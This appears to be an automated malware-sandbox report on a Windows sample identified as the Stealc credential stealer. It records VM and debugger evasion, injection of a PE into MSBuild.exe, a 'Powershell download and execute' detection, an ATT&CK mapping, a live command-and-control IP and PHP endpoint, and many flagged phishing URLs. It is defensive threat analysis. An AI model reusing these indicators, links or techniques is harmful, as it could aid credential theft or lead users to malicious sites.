Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\5rVhexjLCx.exe

API coverage: 4.2 %

Source: C:\Users\user\Desktop\5rVhexjLCx.exe

Code function: 0_2_00599ABF FindFirstFileExW,

0_2_00599ABF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00401160 GetSystemInfo,

2_2_00401160

Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: MSBuild.exe, 00000002.00000002.1821798239.00000000016C4000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.1821798239.0000000001667000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: MSBuild.exe, 00000002.00000002.1821798239.00000000016C4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: MSBuild.exe, 00000002.00000002.1821798239.0000000001667000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\5rVhexjLCx.exe

Code function: 0_2_00587922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00587922

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_004045C0 VirtualProtect ?,00000004,00000100,00000000

2_2_004045C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

2_2_0041C03D

Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_00582003 mov edi, dword ptr fs:[00000030h]	0_2_00582003
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_0059A64C mov eax, dword ptr fs:[00000030h]	0_2_0059A64C
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_005C6628 mov eax, dword ptr fs:[00000030h]	0_2_005C6628
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_00590F2E mov ecx, dword ptr fs:[00000030h]	0_2_00590F2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_00419750 mov eax, dword ptr fs:[00000030h]	2_2_00419750

Source: C:\Users\user\Desktop\5rVhexjLCx.exe

Code function: 0_2_0059CC4B GetProcessHeap,

0_2_0059CC4B

Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_00587610 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00587610
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_00587922 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00587922
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_0058DA73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0058DA73
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: 0_2_00587AAF SetUnhandledExceptionFilter,	0_2_00587AAF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041AD48 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0041AD48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041CEEA SetUnhandledExceptionFilter,	2_2_0041CEEA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 2_2_0041B33A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0041B33A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 5rVhexjLCx.exe PID: 7000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7072, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\5rVhexjLCx.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\5rVhexjLCx.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 65C000	Jump to behavior
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 1159008	Jump to behavior

Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"			Jump to behavior
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"			Jump to behavior

Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_0059C085
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: GetLocaleInfoW,	0_2_0059622B
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: EnumSystemLocalesW,	0_2_0059C372
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: EnumSystemLocalesW,	0_2_0059C327
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: EnumSystemLocalesW,	0_2_0059C40D
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_0059C498
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: GetLocaleInfoW,	0_2_0059C6EB
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_0059C814
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: GetLocaleInfoW,	0_2_0059C91A
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_0059C9E9
Source: C:\Users\user\Desktop\5rVhexjLCx.exe	Code function: EnumSystemLocalesW,	0_2_00595D7F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\5rVhexjLCx.exe

Code function: 0_2_00587815 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00587815

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_00417850 GetUserNameA,

2_2_00417850

Source: Amcache.hve.5.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.5.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.5rVhexjLCx.exe.5adad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5rVhexjLCx.exe.5adad8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5rVhexjLCx.exe.580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1821798239.0000000001667000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7072, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.5rVhexjLCx.exe.5adad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5rVhexjLCx.exe.5adad8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.5rVhexjLCx.exe.580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1821798239.0000000001667000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1820269495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1958245756.00000000005AD000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 7072, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	311 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	41 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	311 Process Injection	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	23 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
5rVhexjLCx.exe	32%	ReversingLabs	Win32.Trojan.Generic
5rVhexjLCx.exe	100%	Avira	HEUR/AGEN.1310458
5rVhexjLCx.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://upx.sf.net	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s-part-0017.t-0009.fb-t-msedge.net	13.107.253.45	true	false		unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://62.204.41.150/	true		unknown
http://62.204.41.150/edd20096ecef326d.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://62.204.41.150/n	MSBuild.exe, 00000002.00000002.1821798239.0000000001667000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://62.204.41.150/edd20096ecef326d.php0	MSBuild.exe, 00000002.00000002.1821798239.00000000016C4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.5.dr	false	URL Reputation: safe	unknown
http://62.204.41.150	MSBuild.exe, 00000002.00000002.1821798239.0000000001667000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://62.204.41.150/edd20096ecef326d.phpFd	MSBuild.exe, 00000002.00000002.1821798239.00000000016B8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://62.204.41.150/J	MSBuild.exe, 00000002.00000002.1821798239.0000000001667000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://62.204.41.150/edd20096ecef326d.phpnd	MSBuild.exe, 00000002.00000002.1821798239.00000000016B8000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
62.204.41.150	unknown	United Kingdom		30798	TNNET-ASTNNetOyMainnetworkFI	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528264
Start date and time:	2024-10-07 17:59:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5rVhexjLCx.exe renamed because original name is a hash value
Original Sample Name:	0b1d171017be0462ff7522614f49afea.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@6/5@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 20 Number of non-executed functions: 71
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.126.31.67, 20.190.159.71, 20.190.159.4, 20.190.159.68, 20.190.159.75, 20.190.159.64, 40.126.31.71, 40.126.31.73, 88.221.110.91, 2.16.100.168, 192.229.221.95, 13.89.179.12, 52.149.20.212, 40.69.42.241, 4.175.87.197, 20.3.187.198
Excluded domains from analysis (whitelisted): azurefd-t-fb-prod.trafficmanager.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, a767.dspw65.akamai.net, onedsblobprdcus17.centralus.cloudapp.azure.com, d.4.1.9.1.6.7.1.0.0.0.0.0.0.0.0.1.0.0.9.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, ocsp.digicert.com, login.live.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, prdv4a.aadg.msidentity.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, login.msa.msidentity.com, download.windowsupdate.com.edgesuite.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, blobcollector.events.data.trafficmanager.net, azureedge-t-prod.trafficmanager.net, umwatson.events.data.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 5rVhexjLCx.exe

Simulations

Behavior and APIs

Time	Type	Description
12:00:34	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
62.204.41.150	file.exe	Get hash	malicious	Stealc	Browse	62.204.41.150/edd20096ecef326d.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.fb-t-msedge.net	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	13.107.253.45
	original.eml	Get hash	malicious	Tycoon2FA	Browse	13.107.253.45
	https://emmaway-my.sharepoint.com/:f:/g/personal/jessica_emmaway_uk/Eodal0AmsKFKtMeEeNJG0V0B3d0_hcKMrsOYen-8p5FxhQ?e=bBSdNW	Get hash	malicious	Unknown	Browse	13.107.253.45
	http://www.twbcompany.com	Get hash	malicious	Unknown	Browse	13.107.253.45
	#Uc740#Ud589_#Uc0c1#Uc138#Uc815#Ubcf4.exe	Get hash	malicious	Snake Keylogger	Browse	13.107.253.45
	https://pub-2fd40031391d4470a8c3c1090493deca.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
	http://patjimmy323.wixsite.com/my-site-1/	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
	http://hiotdakia.wixsite.com/p-a-y-h-2-o/blank/	Get hash	malicious	Unknown	Browse	13.107.253.45
	http://uppholldbcloginn.gitbook.io/us/	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
	http://pub-ba5a046c69974217b0431bca4ba43740.r2.dev/rep.html	Get hash	malicious	HTMLPhisher	Browse	13.107.253.45
fp2e7a.wpc.phicdn.net	https://forms.office.com/Pages/ShareFormPage.aspx?id=W8eUhlA4rUOuklSyoCn21mtmgAvPzYFJuSM99R6gX3dUQ1IyWUM1UUhTS1pWQ0xXNkI3RzlRRkFIVi4u&sharetoken=93tGEOrxpFy3X0nnxFcr	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	file.exe	Get hash	malicious	Vidar	Browse	192.229.221.95
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	192.229.221.95
	https://email.oxblue.com/e3t/Ctc/Q+113/cdDrv04/VXdfjN46m5dxW4GJlKB4fd0DdW2sbCLr5lTFq6N7Hm8xT3qgyTW7Y8-PT6lZ3lzW1ccS1H8Y8rzXW1hrlTV77h1NhW5_pVzH8bsnn6W1PWxqV8D5TN_W4_z5yx2Cz_4sMrZF-GqDHzcW8pZQ3N3BhYgKW3tmwg72n4TxDW4fS46V1-s7dgW57YVF64HfrMMW2BxxC75X21XdW1nBYw_1PMVGyW8s_YKQ6BTQZmW8wDJ4k3-yNbbW2_BGfy66mfVdW937hqt5kq1CcW4XD3mN54BQSWW4G8TK98NTx7zW74frv25zlZbQW5ztJ6n6fGJFrMSqBjr36qwYW2tk9Xh21wMKrW5RXwDq1M2mmrW3nyq_P20wBvNN8-tVH1nqcD1W5m3Vz04sj9CQf2ygfDq04	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.htr.gtdzwq?v=frudxdxrtxfilfrjx.htrd.iwtlt___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzpjOGJiNWZiM2U4NjZhMDk1M2Y0MGVjY2U1MDhmYjQ4YTo3OmM4Y2I6MDdlZDdhNDI4N2UyMzc1NGJjZGQ1YjkyOWYyODg2OTI5ZDkyNzU0YTQ2NWI4MzhkYWZlMmM3NjA5ZGMyZGNmMzpoOlQ6VA#YnJhbmRvbi53YW5nQGludGVncmFjb25uZWN0LmNvbQ==	Get hash	malicious	HTMLPhisher	Browse	192.229.221.95
	https://www.rhris.com/EmailEmploymentValidation.cfm?EmploymentRefID=E84F959AEA960B8186C356E23E6C822C8E204B6A75564EECEC1823507D68DDBF	Get hash	malicious	Unknown	Browse	192.229.221.95
	https://future.nhs.uk	Get hash	malicious	Unknown	Browse	192.229.221.95
	uhwovHh7pS.msi	Get hash	malicious	VMdetect	Browse	192.229.221.95
	https://fenster-mark-gmbhsharefile.btn-ebikes.com/	Get hash	malicious	Unknown	Browse	192.229.221.95
	YSjOEAta07.exe	Get hash	malicious	FormBook	Browse	192.229.221.95

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TNNET-ASTNNetOyMainnetworkFI	file.exe	Get hash	malicious	Stealc	Browse	62.204.41.150
	0h5IfpqflF.exe	Get hash	malicious	Stealc	Browse	62.204.41.159
	file.exe	Get hash	malicious	Stealc	Browse	62.204.41.159
	552RZ9fPMe.exe	Get hash	malicious	Stealc	Browse	62.204.41.159
	vmgon5Zqja.exe	Get hash	malicious	Stealc, Vidar	Browse	62.204.41.159
	file.exe	Get hash	malicious	Stealc	Browse	62.204.41.159
	956d73b7f041.exe	Get hash	malicious	Stealc	Browse	62.204.41.159
	InstallSetup.exe	Get hash	malicious	Stealc	Browse	62.204.41.159
	ScreenUpdateSync.exe	Get hash	malicious	Stealc, Vidar	Browse	62.204.41.159
	956d73b7f041.exe	Get hash	malicious	Stealc	Browse	62.204.41.159

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
